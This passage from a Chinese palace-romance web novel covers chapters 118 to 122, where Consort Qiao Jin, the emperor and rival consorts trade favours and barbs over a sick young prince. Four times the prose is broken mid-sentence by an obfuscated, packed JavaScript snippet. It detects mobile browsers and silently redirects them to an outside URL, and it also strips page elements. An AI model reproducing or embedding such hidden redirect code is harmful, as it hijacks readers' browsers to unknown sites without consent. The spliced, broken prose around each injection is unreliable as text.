君景珩的披风扫过她沾雪的裙摆,龙涎香混着墨香扑面而来,却在她抬头时,看见他袖中滑落半片鹅黄花瓣——正是方才梅树下那株绿萼的。 “明日让内务府送些炭去你暖阁。”他的声音低得只有两人能听见,“莫要学旁人...冻出病来,还要朕分神。” 话音未落,他已阔步走出殿门,明黄灯笼在风雪里晃了晃,将他影子投在乔瑾脚边,与她湿了的裙角叠成模糊的一团,像幅未干的水墨画。 绿萝扶着她往回走时,雪终于停了。 乔瑾望着漫天星子,忽然想起太医说的“积热”二字,想起皇子所暖阁里烧得太旺的炭盆,想起皇后腕间那抹翡翠的冷光。 她摸出掌心的红绳,绳结处还缠着半片梅瓣,此刻被体温烘得发潮,隐约透出点若有似无的甜——却不知是花香,还是殿里燃的龙脑香墨余韵。 “小主的鞋都浸透水了。”绿萝小声提醒,“可要先回阁换衣裳?” 乔瑾摇头,“不用麻烦了,这里离君心殿也不远。”说着就望着君景珩远去的方向,见他忽而驻足,对暗卫说了句什么。 第一百一十八章 顺妃的好意 夜风卷着雪粒子扑来,她听见自己心跳声混在梆子声里,竟比方才狂奔时还要急——急得像要追上什么,又像要躲开什么,终究化作掌心里那点被揉皱的红,在夜色里浮沉不定。 乔瑾跺了跺脚,裙摆上的雪粒子簌簌往下掉,冻得通红的指尖捏着湿透的裙角,刚要往回走,就见前方游廊下停了顶朱漆步辇。 轿厢两侧垂着缀银线的细竹帘,顺妃正掀起帘子冲她招手:“妹妹瞧着衣裳都湿了,这雪越下越急,搭我的步辇回去吧,别冻着了。” 乔瑾忙福了福身,嗓音带着跑动后的轻喘:“多谢娘娘好意,不过臣妾的殿离得近,我走两步就到了,不麻烦您了。” 顺妃笑着摆了摆手,也不勉强,可等乔瑾转身走远,她身边的丫鬟却小声嘀咕:“这宸嫔娘娘怎么回事?娘娘好心让她搭个步辇都不要,这么大的雪,淋病了算谁的?” 顺妃轻叩了下轿杆,竹帘应声放下:“各有各的心思,你管那么多做什么。” 乔瑾沿着抄手游廊走得脚底发滑,绕过皇子所后角门时,忽见转角处停着顶明黄色的步辇,轿厢四角挂着鎏金风灯,灯穗上结着细小的冰珠,在风雪里轻轻晃动。 她心里猛地一跳,这明黄色是皇上专用的,再看轿旁立着的贴身太监小德子,正冲她微微颔首,显然是特意在此等候。 雪片落在轿帘上沙沙作响,里面忽然传来低低的咳嗽声,乔瑾攥紧了掌心的红绳,听见自己心跳声盖过了风雪。 轿厢里的人似乎察觉到她的犹豫,竹帘被一只修长的手掀开半角,露出君景珩半张脸,眉峰上还沾着未化的雪粒,眼底却含着暖意在看她:“愣着做什么?上来。” 乔瑾喉头动了动,下意识往身后看了眼,确定周围没别的宫人,才抬脚迈上轿辇。 轿厢里铺着厚厚的狐裘毡子,炭盆煨得暖意融融,她刚坐下,就见君景珩伸手将她被雪打湿的披帛解下来,指尖擦过她耳尖时顿了顿:“怎么拒绝顺妃的步辇?冻病了怎么办?” 他的声音里带着几分埋怨,却又压得很低,像是怕被外面的人听见。 乔瑾盯着他膝头绣的金线龙纹,眨了眨眼,笑着道:“陛下才该当心龙体,这么大的雪还坐着步辇等……” 话没说完就被他用指尖按住嘴唇,带着墨香的气息裹着暖意扑面而来:“再胡说,朕就让你在这轿子里研墨。” 乔瑾抬眼望他,却见他袖口露出半截红绳——正是今早她落在暖阁的那根。 步辇忽然轻轻晃动,往暖阁方向走去,轿外风雪呼啸,轿内却静得能听见彼此的呼吸。 乔瑾忽然想起顺妃丫鬟的嘀咕,又想起皇后看她时的眼神,指尖不自觉攥紧了君景珩的衣袖,却听见他在头顶低笑:“怕什么?有朕在。” 雪粒子打在轿顶上沙沙作响,乔瑾望着轿帘缝隙里透出的暖黄灯光,忽然觉得这顶小小的步辇,竟比暖阁里的鎏金熏炉还要烫人。 她悄悄将掌心的红绳塞进他袖口,触到他腕间温热的皮肤,听见他喉间溢出声轻笑,像雪水融化在春夜里,暖得让人心慌。 顺妃卸了鎏金点翠簪子,任由宫女绞着热毛巾替她焐手,新换的织金翟衣上还带着炭盆的暖香,袖口绣的十二团花蝶在烛光下泛着金线微光。 她对着菱花镜拨弄鬓边新插的夜合花,忽听见廊下丫鬟小春压低的声音:“娘娘可听说了?方才宸嫔娘娘竟上了陛下的步辇!奴婢就说她方才拒您的好意是假清高,原是等着攀更高的——” “啪”的一声,**梳子重重拍在妆奁上,震得胭脂盒里的珠粉扑簌簌落了半盏。 顺妃抬眼从镜中剜了小春一眼,指尖捏着枚翡翠护甲轻轻敲了敲镜沿:“宫里头的风,最会往暖处钻。” 她忽然转头望向窗外,雪光映得窗纸发白,远处暖阁方向的灯笼正一明一灭,像谁眼里晃着的烛火,“你且记着,有些话能吹进耳朵里,有些话却要烂在肚子里。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845674|175766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 小春慌忙跪下,额头抵着青砖:“娘娘赎罪,是奴婢多嘴。” 顺妃却摆摆手示意她起来,自袖中摸出块蜜渍梅子丢进嘴里,酸甜味混着屋里的沉水香漫开,忽然轻笑出声:“你瞧着吧,能让陛下在雪地里等上半盏茶的人...” 她咬碎梅子核,吐出点暗红的汁液在帕子上,像滴凝住的血,“从来不是单凭运气的。” 殿外风雪忽然大了,铜漏滴答声里夹着细碎的脚步声。 顺妃望着镜中自己眉心的花钿,想起方才在皇子所看见的场景——君景珩替乔瑾拂去肩上落雪时,那抹眼神软得能化了冰雪。 她指尖摩挲着镜沿雕刻的并蒂莲,忽然将梳子往妆奁里一丢,金步摇随动作晃出细碎金光:“去把西阁藏的暹罗进贡的雪顶茶泡来,” 她起身披上狐裘,望着暖阁方向勾起嘴角,“说不定...要有贵客临门了。” 小春忙不迭去取茶具,余光瞥见妆奁里那枚翡翠簪子——正是今早皇后赏的,簪头雕的雪梅与乔瑾发间落的那朵竟有七分像。 她打了个寒颤,忽然明白娘娘为何方才盯着窗外的雪发了许久的呆,那漫天飞絮里,怕不是藏着比炭火更灼人的东西。 不过这贵客倒是没有上门来,顺妃有些诧异。 —— 此时的君心殿。 雪粒子扑在雕花窗棂上时,乔瑾正对着铜盆绞干帕子,指尖被热水烫得发红。 暖阁外忽然传来通报声,说顺妃娘娘遣了宫女来送暹罗雪顶茶。 她擦着手迎出去,就见顺妃身边的小春捧着鎏金茶盘立在廊下,茶盏上蒙着细绢,隐约透出点碧色。 “我家娘娘说,雪夜饮杯热茶最是驱寒。”小春福了福身,目光在乔瑾腕间一扫——那里空空如也,今早还戴着的红绳已不见了踪影。 乔瑾不动声色地将手缩进袖里,笑着接过茶盘:“有劳娘娘挂心,改日我定当亲自去谢。” 第一百一十九章 心无波澜 小春走后,乔瑾刚要将茶盏搁在案上,忽然听见窗外传来细碎的脚步声。 她转身掀起棉帘,就见顺妃披着银鼠斗篷立在梅树下,指尖正拨弄着枝头残雪,耳垂上的东珠坠子在风雪里晃出冷光:“宸嫔妹妹果然是个妙人,这雪夜喝着热茶,可还记得方才轿子里的暖?” 乔瑾浑身一僵,茶盏险些从手中滑落。顺妃却轻笑一声,踩着积雪走近,靴底碾过冻硬的梅瓣发出脆响:“妹妹莫怕,我不过是来瞧瞧这绿萼梅——听说昨夜陛下在此赏梅,竟连朝服上都沾了香气呢。” 她抬眼望进乔瑾眼底,忽然伸手替她拂去发间落雪,指尖划过她耳后时压低声音:“妹妹可知道,这雪顶茶要用初雪化的水来泡才最香?就像有些心事,非得在雪夜里说......才显得真。” 乔瑾后退半步,后腰抵在廊柱上,闻见茶盏里飘来的清香中混着一丝若有似无的沉水香——正是顺妃常用的香调。 她忽然想起方才在步辇里,君景珩曾说“有朕在”时的语气,掌心不由得攥紧了袖口:“娘娘说笑了,臣妾不过是个笨人,哪里懂得这些风雅。” 顺妃盯着她泛白的指节,忽然从袖中摸出枚红绳腕饰,金丝编的绳结上缀着颗东珠,在雪夜里泛着冷光:“笨人?可妹妹腕间这红绳......” 她忽然凑近,在乔瑾耳边轻笑,“昨夜可是系在陛下腕上的?” 廊下灯笼忽然被风吹得剧烈摇晃,乔瑾望着顺妃指尖晃动的东珠,想起坤宁宫的鎏金熏炉,想起皇子所里太医说的“积热”二字。 她深吸口气,将茶盏轻轻搁在廊下石桌上,雪粒子落在茶水里激起细小的涟漪:“娘娘若是喜欢这红绳样式,臣妾改日让人送些花样过去。只是这雪夜天寒,娘娘还是早些回宫吧,别冻着了身子。” 顺妃盯着她的脸看了许久,忽然伸手取过茶盏,轻轻吹开浮沫饮了一口:“茶是好茶,只可惜......” 她指尖摩挲着盏沿,忽然将茶盏往石桌上一放,瓷器与冰雪相击发出清响,“凉了就不好喝了。” 话音未落,远处忽然传来宫人的唱喏声,小德子的尖细嗓音在风雪里格外清晰:“陛下有旨,着宸嫔娘娘即刻前往御书房侍墨——” 顺妃挑眉望向乔瑾,见她指尖无意识地抚过腰间荷包,那里鼓起一小块,正是今早君景珩塞给她的龙脑香墨。 雪粒子落在乔瑾发间,却比顺妃眼底的光要柔和许多:“娘娘且慢用茶,臣妾先告退了。” 看着乔瑾匆匆离去的背影,顺妃弯腰拾起方才被风吹落的茶盏,指尖掠过她方才触碰过的地方,忽然轻笑出声。 梅枝在风中轻颤,落雪掉进茶盏里,将那抹碧色搅成片混沌,倒像是她方才在乔瑾眼底看见的——那点被雪水浸过的,却怎么也冻不凉的热意。 乔瑾踩着积雪冲进御书房时,发间的梅花簪子已歪到一边,鹅黄裙摆上结着细碎的冰碴。 君景珩正立在书案前研磨,墨块在砚台里转出圈儿涟漪,听见动静时抬眼望来,目光在她湿透的裙角上顿了顿,指尖却继续碾着墨块:“顺妃找你说什么了?” 她心口一跳,慌忙福身,发簪上的珍珠坠子晃出细碎光影:“陛下怎知...顺妃娘娘方才去了君心殿?” 砚台里的墨汁忽然浓了些,君景珩将墨锭搁在笔架上,转身时袖中滑出半片干花——正是今早她夹在他奏折里的绿萼梅。 “御花园的梅树都在朕眼皮子底下。”他走近两步,替她摘下发间歪斜的簪子,指尖擦过她冻红的耳垂,“何况她赏梅为何捧着暹罗雪顶茶?那茶盏...可是去年朕赏给她的。” 乔瑾望着他指间转动的簪子,忽然想起顺妃方才提起红绳时的眼神,喉间泛起涩意。 可抬眼看见他眼底未褪的关切,到嘴边的话又转了弯:“能有什么要紧话?不过是说这绿萼梅开得别致,顺道瞧臣妾衣裳湿了,让丫鬟送了盏茶来。” 君景珩忽然轻笑,指腹蹭过她唇畔:“茶盏上的沉水香都沾到嘴上了,还说没说别的?” 乔瑾浑身一僵,这才想起顺妃方才喝茶时指尖划过的盏沿,耳尖霎时红透。 他却不再追问,转身取过架子上的狐裘披在她肩上,皮**蹭过她鼻尖,带着他惯有的龙涎香。 “明日让内务府给顺妃送些祛寒的药材。”他替她系紧狐裘带子,指节有意无意擦过她锁骨,“毕竟...她若再在雪夜里乱跑,怕是要冻坏了这张爱打听的嘴。” 乔瑾抬头望他,见他眼角微挑,哪里是在说顺妃,分明是在笑她方才的遮掩。 砚台里的墨香混着炭盆暖意漫过来,她忽然想起暖阁里未写完的《舟水图》,想起他用朱砂改字时落在她腕间的痕迹。 指尖无意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845675|175766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识地绞着狐裘带子,却被他一把攥住,按在书案上。 “下次再敢瞒着朕...”他低头咬住她耳垂,声音里混着墨香与雪气,“就罚你在这砚台里泡上三日三夜,看你还会不会说假话。” 乔瑾浑身发软,听见自己心跳声震得耳鼓发麻,却在这时瞥见他腰间挂着的红绳——正是今早她塞进他袖口的那根,此刻正系着枚新刻的玉牌,牌面上“瑾”字用朱砂描得鲜红。 雪粒子忽然扑在窗纸上,御书房的烛火晃了晃,将两人影子投在墙上。 乔瑾望着他眼底跳动的光,忽然伸手勾住那根红绳轻轻一扯,玉牌撞在他心口发出清响:“陛下若罚臣妾,总得先说说...这玉牌何时刻的?” 君景珩低笑出声,握住她的手按在自己胸口,隔着狐裘与锦缎,她能清晰感受到他心跳的节奏。 他忽然取过案头的朱砂笔,在她掌心轻轻画了道——是朵半开的绿萼梅:“昨夜你在梅树下研墨时,朕便让玉作刻了。” 他吹了吹她掌心未干的朱砂,热气扑得她发痒,“这样...你就永远在朕掌心里了。” 窗外的雪越下越大,乔瑾望着掌心的朱砂梅,忽然想起顺妃指尖的东珠,想起皇后腕间的翡翠。 可此刻御书房的暖意在她四周漫开,君景珩的体温混着墨香将她裹住,那些冰冰冷冷的东西,竟都成了远处模糊的雪影。 “陛下可曾听过‘赌书消得泼茶香’?” 她忽然抬头,鼻尖几乎碰到他的,“臣妾别的不会,倒是能与陛下赌一赌...这红绳,究竟是谁先松开的?” 君景珩挑眉,指尖顺着她发丝滑到后颈,将那根红绳轻轻一拽,她便跌进他怀里。 砚台里的墨汁晃出边缘,在宣纸上晕开团云雾:“赌就赌。”他低头吻住她发顶,声音里带着势在必得的笑意,“不过朕要加注——若你输了,便用这朱砂,在朕心口写个‘瑾’字。” 雪光映得屋内一片皎白,乔瑾望着他眼底的光,忽然觉得这漫天风雪都成了伴奏的。 她指尖抚过他胸前的龙纹刺绣,触到底下温热的皮肤,听见自己轻声应下的话,竟比方才顺妃茶盏里的雪顶茶还要清甜:“好,臣妾...赌陛下永远不会松开。” 但是乔瑾嘴上说着这些动听的话,她的脸上却是没有多少的情绪,心里更是没有多少的波澜。 第一百二十章 偷鸡不成蚀把米 卯时三刻,翊坤宫暖阁内鎏金兽首香炉正浮着袅袅沉水香。 皇后斜倚在明黄软枕上,指尖轻轻摩挲着翡翠护甲,目光淡淡扫过殿内鱼贯而入的嫔妃。 丽昭仪今日着了身湖蓝蹙金绣玉兰的宫装,鬓边一支东珠步摇随她行礼的动作轻颤,甫一抬头便最先担心的开口:娘娘,不知小皇子......” “已无大碍。”皇后截断她的话,凤目微垂,执起茶盏时金镶玉护甲与青瓷盏沿相撞,发出清泠一响。 丽昭仪肩头明显松快下来,却仍做出西子捧心般的忧色,绢帕绞着袖口流苏道:“到底是才满七个月的金枝玉叶,昨儿听说在皇子所染了风寒,臣妾这心整整悬了一夜......” 她忽然意识到什么似的顿住,眼尾余光瞥见皇后指尖微动,连忙转口,“再说那些乳娘嬷嬷纵是精细,到底不如......不如有娘娘们照拂着贴心。” 暖阁内忽然静得能听见铜漏滴答声。 珍婕妤斜倚在紫檀花鸟屏风旁,嘴角噙着抹讥诮笑意,指尖拨弄着鎏金护甲上的红宝石:“照拂?丽姐姐这话可要让皇上听见,怕是要赞你贤良淑德——” 她忽然直起身子,丹蔻划过案上《女戒》书脊,“毕竟小皇子生母禁足殿堂级闺蜜,姐姐这是想替皇上分忧呢,还是想让皇上多来瞧瞧翊坤宫旁的昭阳殿?” “你——“丽昭仪腾地红了眼眶,绢帕绞得变了形。 座下惠贵人低低咳嗽一声,腕间翡翠镯子滑落在案上,清脆声响里皇后终于开口:“珍婕妤这话可就错了。” 她慢条斯理放下茶盏,鎏金香炉的光影在凤袍上织出细碎金线,“皇子所规制乃太祖爷定下的,何况......” 她忽而轻笑,“皇上昨儿才说,小皇子生母虽有错,孩子总是无辜的,所以待满月便要挪去......” 话音未落便被外头通报打断:“皇上驾到——” 丽昭仪脸色瞬间煞白。 珍婕妤掩唇轻笑,眼尾余光瞥见殿外明黄身影,忽然福身道:“皇上来得正巧,丽昭仪姐姐正惦记着小皇子呢,说不如挪到她宫里养着,也好替姐姐们尽尽心。、 “哦?”宪宗踏入暖阁的脚步顿了顿,目光扫过丽昭仪青白的脸,忽而转向皇后,“皇后觉得如何?” 皇后起身福礼,袖中露出半幅明黄缎子,正是今早刚收到的密旨:“皇上前儿不是说,待小皇子出月便挪去皇子所,但到底血浓于水......” 她话音未落,宪宗已抬手按住她肩头,目光淡淡扫过殿内众人:“就依皇后所言。丽昭仪既这么热心,便每日去皇子所帮着盯着汤药吧。“ 丽昭仪踉跄着跪下,膝头磕在金砖上发出闷响。 珍婕妤指尖的红宝石在晨光里晃出细碎金光,她看见皇后袖中那抹明黄缎角上绣着的振翅凤凰,忽然想起上个月皇子所走水时,正是皇后身边的崔嬷嬷带人救了小皇子...... “皇上,该用早膳了。“皇后轻轻抽出被按住的手,指尖不着痕迹拂过宪宗袖口的龙纹刺绣,“惠贵人新制的杏仁酪倒不错,臣妾让人备了您爱吃的糖蒸酥酪。“ 殿外传来晨钟清响,丽昭仪跪着退出去时,看见檐角残雪正滴落在青石板上,蜿蜒成一道细弱的水痕,恰似她今早精心描绘的黛眉。 君景珩随意的吃了几口,便用过早膳便要去御书房,起身时袖口拂过案上《贞观政要》,鎏金镇纸滚落在地发出清响。 丽昭仪下意识抬头,正撞见皇上目光扫过她膝头磕红的印记,那道视线冷得像腊月里的冰棱,让她刚要出口的“皇上慢走”卡在喉间,化作一声晦涩的哽咽。 “丽昭仪还跪着做什么?” 珍婕妤拨弄着鎏金护甲,红宝石在晨光里划出狡黠的弧光,“莫不是想让皇上再赏你‘贤良’的封号?” 殿内几个低位嫔妃忙低下头,惠贵人的翡翠镯子又轻轻磕在案边,像是怕惊碎这微妙的僵局。 皇后指尖摩挲着茶盏边沿,忽而轻笑一声:“都起来吧。丽昭仪既领了照看皇子的差事,便早些去皇子所——珍婕妤昨儿说要抄二十遍《女戒》,可别耽误了。” 这话明着是训诫,却让珍婕妤眼角眉梢都染上笑意,她福身时故意凑近丽昭仪,珠钗上的珊瑚坠子扫过对方发梢:“姐姐慢走,皇子所的北风可比这暖阁冷多了。“ 丽昭仪攥紧绢帕的手背上青筋暴起,指甲几乎掐进掌心。 她跟着众人退出景仁宫时,檐角残雪正巧落在眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845676|175766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心,凉得刺骨。 身旁的贴身宫女绿枝刚要替她拂去,却被她反手挥开:“滚!“声音里带着压抑的狠戾,惊得廊下候着的小太监们齐齐缩颈。 从景仁宫到昭阳殿不过百十来步,丽昭仪却走得极慢。 路过御花园时,瞥见湖面上结着薄冰,倒映着她青白的脸,忽然想起今早精心描的远山眉,如今怕是早已糊成一团墨渍。 绿枝亦步亦趋跟着,看着主子鬓边东珠步摇随着急促的呼吸乱颤,想起方才在景仁宫,皇上那句“每日去盯着汤药”像根细针扎在耳里,此刻连廊下的红墙都显得格外刺目。 “砰——”昭阳殿的雕花木门被狠狠推开,鎏金兽首门环撞在门框上发出巨响。 丽昭仪冲进内殿,扬手将头上步摇扯下砸向妆台,翡翠簪子磕在铜镜上迸出裂纹,珠钗滚落满地。 “贱婢!竟敢算计本宫——”她抓起案上的鎏金香炉砸向墙角,香灰混着碎瓷在青砖上溅开,惊得檐下金丝雀扑棱着翅膀乱鸣。 “娘娘息怒......”绿枝跪下去捡拾碎片,指尖被瓷片划破渗出血丝。 丽昭仪忽然抓起妆台上的西洋琉璃瓶,看着瓶中玫瑰胭脂在阳光下晃出艳丽的红,忽而冷笑:“珍婕妤不是爱拔尖么?本宫偏要让她知道,这后宫里......” 话音未落,琉璃瓶已砸在柱础上,艳红胭脂顺着丹漆柱子蜿蜒而下,像极了景仁宫里皇后袖间那道明黄缎子。 窗外忽然飘起细雪,碎琼乱玉落在琉璃瓦上沙沙作响。 丽昭仪盯着满地狼藉,忽然听见远处景仁宫方向传来钟磬声,是皇后每日巳时诵《心经》的时辰。 她踉跄着跌坐在锦凳上,看见铜镜里自己散乱的鬓发,想起方才皇上离开时,皇后替他整理袖口的那抹温柔,指甲又深深掐进了掌心的旧伤。 “绿枝,”她忽然开口,声音哑得像含着碎冰,“去把库房里那盒西域进贡的乳香找出来,明日给皇子所的嬷嬷们送去......” 话未说完便被咳嗽打断,指尖蹭过嘴角时沾了抹嫣红,倒比那胭脂还要鲜艳几分。 雪越下越大,昭阳殿的鎏金飞檐渐渐覆上薄白,远远望去,倒像是给这满地狼藉盖了层素白的丧布。 第一百二十一章 喂药 卯时三刻的雪粒子跟撒了把盐似的,劈头盖脸往人脸上砸。 丽昭仪蜷在鎏金暖轿里,怀里抱着的手炉早没了热气,她抬脚狠狠踢向脚边炭盆,铜盆沿积的雪扑簌簌落进炭灰里,溅得月白绫面靴尖上都是灰点子。 “这群贱婢!”她骂骂咧咧掀起狐裘下摆,露出绣着并蒂莲的湖蓝中衣,指尖掐着暖轿帷帐上的金线流苏狠命扯了扯,“昨儿才赏了那轿夫两匹蜀锦,如今就敢拿这种慢腾腾的死轿来搪塞本宫?当本宫不知道你们背地里嚼舌根,说什么‘昭仪娘娘去皇子所当牛做马’?” 轿外的翡翠缩着脖子往轿杆旁蹭,鬓角那支银蝶步摇碰着轿沿叮铃哐啷响,呼出的白气在睫毛上凝了层霜:“娘娘息怒,前头永巷窄,又积了雪,轿夫们怕滑了脚.....” 话没说完,忽听得前头传来骡马惊嘶,紧接着“砰“一声闷响,暖轿猛地往右侧倾斜,丽昭仪前额结结实实撞在雕花轿壁上,疼得她倒吸口凉气。 “哎呦!怎么回事?”丽昭仪满脸的愤怒,用力的扯开轿帘,银红猩猩毡帘上的积雪劈头盖脸砸下来,糊得她满脸冰凉。 伸手一抹,眉间新点的朱砂痣晕成滩红泥,衬着她青白的脸愈发狰狞。 抬眼一瞧,对面停着辆青竹帷的车辇,帘子掀开半角,露出个穿石青比甲的宫女——竟是珍婕妤身边的琥珀。 “瞎了你们的狗眼!”丽昭仪身旁的翡翠义愤填膺,踩着三寸高的花盆底往雪地里冲,身上的宫女衣裳扫过积雪,露出裙角黑线绣的喜鹊纹沾了泥点子,“知道这是谁的鸾轿吗?冲撞了昭仪娘娘,仔细你们的皮!“ 琥珀垂眸福了福身,语气不咸不淡:“原是我家小主的车辇走得好好的,谁知贵轿突然拐过来,惊了牲口......” “放肆!”丽昭仪不等她说完就打断,雪粒子落在绿萝鞋面,“你家那病歪歪的小主,成日里往皇子所附近晃荡,当本宫不知道她安的什么心?无非是看小皇子没了亲娘,想过来假惺惺献殷勤,巴望太后瞧在眼里——“ “昭仪娘娘这话说得可就难听了。“温吞吞的声音从车辇里飘出来,月白狐裘滚着墨绿貂毛边的人影掀帘下车,正是珍婕妤。 她垂眼拨弄袖口的缠枝金镶玉护甲,护甲尖儿在雪光下泛着冷光,“不过是雪天路滑,两不相干的人撞了面,娘娘何必往皇子所扯?莫不是......” 她眼尾微挑,扫过丽昭仪鬓边歪斜的红宝石簪子,“娘娘自己惦记着小皇子的药,倒怕旁人也惦记?” 这话像根细针扎进丽昭仪的心窝。她攥紧帕子,指甲几乎掐进掌心——小皇子生母已经被皇上厌弃了,就算小皇子生母还在世,但是这辈子都没有机会再抚养小皇子了。 她本来倒是打算将小皇子给要过来抚养的,没想到失策了,居然被珍婕妤给毁了,这边想着他看像甄婕妤的眼神,如同盯着饿狼般。 “你——”她咬牙往前半步,积雪在绣鞋下咯吱作响,忽听得远处皇子所方向传来幼童压抑的咳嗽声,像把破锣在耳后敲。 丽昭仪猛地转头,袖口的金镶宝石护甲“刺啦“刮过车辇竹帘,扯出道细缝。 “算你走运!”她转身时脚下一滑,踉跄着撞进翡翠怀里,翡翠忙伸手扶住她后腰,却被她反手甩了个耳光,“蠢东西!还不快去催轿!要是小殿下喝不上热药,本宫把你们的皮剥下来当炭烧!“ 珍婕妤望着她跌跌撞撞钻进暖轿,嘴角勾起抹冷笑。 琥珀凑近她耳边低语:“娘娘,这雪越下越大,您昨儿才喝了止咳的药......” 珍婕妤抬手接住片雪花,看它融在护甲的红宝石纹路上,轻声道:“不打紧。本宫啊,就想瞧瞧,她这碗苦药汤,能端到几时。、 说着抬手拨弄云鬓,那支羊脂玉簪子在雪光里晃了晃,比刚才丽昭仪那支红宝石簪子素净,却多了分说不出的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845677|175766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 矜贵。 车轿队伍重新挪动时,丽昭仪隔着帘子听见乔瑾那边传来低低的笑声,混着雪粒子打在轿顶的沙沙声,刺得她太阳穴突突直跳。 她狠狠咬碎口中含的蜜渍金桔,甜得发苦的汁液顺着嘴角往下淌,滴在狐裘毛领上,像极了刚才被蹭花的朱砂痣。 皇子所檐角冰棱垂得老长,丽昭仪踩着积雪跨进暖阁,**珠串的披风扫过门槛上的铜狮镇纸,发出清脆的撞击声。 屋内炭火烧得太旺,熏得人头晕,她刚揭下金丝眼罩,就听见东次间传来幼童撕心裂肺的哭闹,像把锈刀在刮她的耳膜。 “真是讨债的冤孽。”她捏着鎏金护甲揉眉心,指尖的红宝石戒指在烛火下泛着血光。 乳母王氏捧着药碗从屏风后转出,碗里黑漆漆的药汁还冒着热气,碗沿凝着层油状的药沫——正是太医院新配的止嗽散。 “昭仪娘娘,小殿下该喝药了......”王氏话音未落,珍婕妤已嫌恶地后退半步,月白缎面裙角蹭到炭盆边缘,烫出个焦黑的小窟窿。 她盯着那碗药,忽然冷笑一声,扬手挥去——青瓷碗“砰“地砸在金砖上,浓黑的药汁溅上王氏裙摆,在茜色棉裙上洇开毒蛇吐信般的纹路。 哭声戛然而止,只剩小皇子抽抽搭搭的哽咽。 丽昭仪挑眉望着满地碎片,倒有些意外这碗竟这般脆。 她甩了甩镶着珍珠的袖口,金镶玉的护甲擦过王氏脸颊,惊得那乳母扑通跪下。 “作死的奴才,连个药碗都端不稳?”她从袖中摸出鲛绡帕子,轻轻擦拭指尖根本不存在的药渍,“仔细你的手,若再惊了殿下......” 尾音拖得极长,眼尾扫过暖阁角落的楠木立柜——那柜子里,前几日刚处置了个打碎玉盏的宫女。 王氏浑身发抖,膝头压着碎瓷片,却不敢起身:“娘娘赎罪......是奴婢笨手笨脚......” 第一百二十二章 国师进京 “哭什么?”丽昭仪踢了踢脚边的药渣,碳化的川贝母粒滚到小皇子床榻下,“还不快去哄?再哭下去,本宫让人把这屋里的帷帐全换成牛皮带子,看他还能不能嚎得这么响亮。” 屏风后传来乳母哄孩子的低语,夹杂着“乖殿下”“苦药甜枣”之类的碎语。 丽昭仪嫌恶地瞥了眼东次间,冲身后的嬷嬷使了个眼色。 那嬷嬷会意,弯腰拾起半片完整的碗沿,碗底“太医院制“的刻字在烛火下泛着冷光。 “去,让张院判重新煎药。”丽昭仪拨弄着护甲上镶嵌的绿松石,忽然轻笑一声,“就说本宫瞧着这药色浑浊,怕是有人在里头掺了......朱砂?亦或是巴豆?” 她抬眼望向嬷嬷,嘴角勾起的弧度像极了檐角冰棱,“若是再煎得这般不堪,本宫不介意让张院判尝尝,这药灌进喉咙是什么滋味。” 嬷嬷领命退下时,鞋底碾碎了块药渣,苦杏仁的气息混着炭火气弥漫开来。 丽昭仪走到窗前,掀起明黄帷帐一角,只见雪光映在廊下铜缸里,缸中残荷茎秆冻得僵直,像极了刚才那乳母簌簌发抖的脊梁。 她忽然伸手扯断缸边悬挂的鹦鹉食罐,粟米撒了满地,惊得梁上燕子扑棱棱乱飞——正如她此刻听见哭闹声就发痒的耳尖。 “真是聒噪。”她对着窗玻璃呵出团白气,看那雾气慢慢凝成冰花,才慢悠悠转身,从妆奁里取出块蜜渍金桔含在口中。 甜得发苦的味道漫上舌尖时,东次间终于没了哭声,只有乳母低低的哼唱,像老旧纺车在碾磨时光,又慢,又钝,又让人牙酸。 —— 这边的乾元殿。 书房内,檀香袅袅。君景珩负手立在窗前,指尖轻轻摩挲着袖口金丝绣的竹纹。案头宣纸上墨字未干,“国泰民安”四字力透纸背,最后一笔拖出细长的飞白。 周公公弓着背掀帘而入,**纹灰袖拂过青瓷笔洗,发出轻响。 